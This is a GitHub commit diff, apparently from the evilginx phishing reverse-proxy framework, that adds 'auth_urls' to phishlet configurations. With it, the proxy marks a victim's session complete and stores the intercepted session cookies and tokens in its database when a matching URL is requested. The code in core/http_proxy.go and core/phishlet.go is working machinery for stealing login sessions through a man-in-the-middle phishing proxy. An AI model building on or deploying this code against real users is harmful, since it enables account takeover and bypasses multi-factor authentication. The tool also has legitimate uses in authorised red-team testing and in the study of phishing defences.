Skip to content

Commit

Permalink
added auth_urls to authorize session after detecting request to speci…
Browse files Browse the repository at this point in the history
…fic URL regexp
  • Loading branch information
kgretzky committed Sep 9, 2018
1 parent a318635 commit ecd8202
Show file tree
Hide file tree
Showing 2 changed files with 32 additions and 2 deletions.
22 changes: 22 additions & 0 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -259,6 +259,25 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
req.Header.Set(string(e), e_host)

if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" {
s, ok := p.sessions[ps.SessionId]
if ok && !s.IsDone {
for _, au := range pl.authUrls {
if au.MatchString(req.URL.Path) {
err := p.db.SetSessionTokens(ps.SessionId, s.Tokens)
if err != nil {
log.Error("database: %v", err)
}
s.IsDone = true
if err == nil {
log.Success("[%d] detected authorization URL - tokens intercepted: %s", ps.Index, req.URL.Path)
}
break
}
}
}
}

if ps.SessionId != "" && origin == "" {
s, ok := p.sessions[ps.SessionId]
if ok {
Expand Down Expand Up @@ -343,6 +362,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if ok && !s.IsDone {
if ck.Value != "" { // cookies with empty values are of no interest to us
is_auth = s.AddAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, auth_tokens)
if len(pl.authUrls) > 0 {
is_auth = false
}
if is_auth {
if err := p.db.SetSessionTokens(ps.SessionId, s.Tokens); err != nil {
log.Error("database: %v", err)
Expand Down
12 changes: 10 additions & 2 deletions core/phishlet.go
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@ type Phishlet struct {
domains []string
subfilters map[string][]SubFilter
authTokens map[string][]*AuthToken
authUrls []*regexp.Regexp
k_username string
re_username string
k_password string
Expand Down Expand Up @@ -88,6 +89,7 @@ type ConfigPhishlet struct {
ProxyHosts []ConfigProxyHost `mapstructure:"proxy_hosts"`
SubFilters []ConfigSubFilter `mapstructure:"sub_filters"`
AuthTokens []ConfigAuthToken `mapstructure:"auth_tokens"`
AuthUrls []string `mapstructure:"auth_urls"`
UserRegex ConfigUserRegex `mapstructure:"user_regex"`
PassRegex ConfigPassRegex `mapstructure:"pass_regex"`
LandingPath []string `mapstructure:"landing_path"`
Expand All @@ -114,6 +116,7 @@ func (p *Phishlet) Clear() {
p.domains = []string{}
p.subfilters = make(map[string][]SubFilter)
p.authTokens = make(map[string][]*AuthToken)
p.authUrls = []*regexp.Regexp{}
p.k_username = ""
p.re_username = ""
p.k_password = ""
Expand Down Expand Up @@ -156,6 +159,13 @@ func (p *Phishlet) LoadFromFile(path string) error {
return err
}
}
for _, au := range fp.AuthUrls {
re, err := regexp.Compile(au)
if err != nil {
return err
}
p.authUrls = append(p.authUrls, re)
}
p.re_username = fp.UserRegex.Re
p.k_username = fp.UserRegex.Key
p.re_password = fp.PassRegex.Re
Expand Down Expand Up @@ -265,8 +275,6 @@ func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
if err != nil {
return err
}
case "httponly":
at.http_only = true
}
}
p.authTokens[hostname] = append(p.authTokens[hostname], at)
Expand Down

0 comments on commit ecd8202

Please sign in to comment.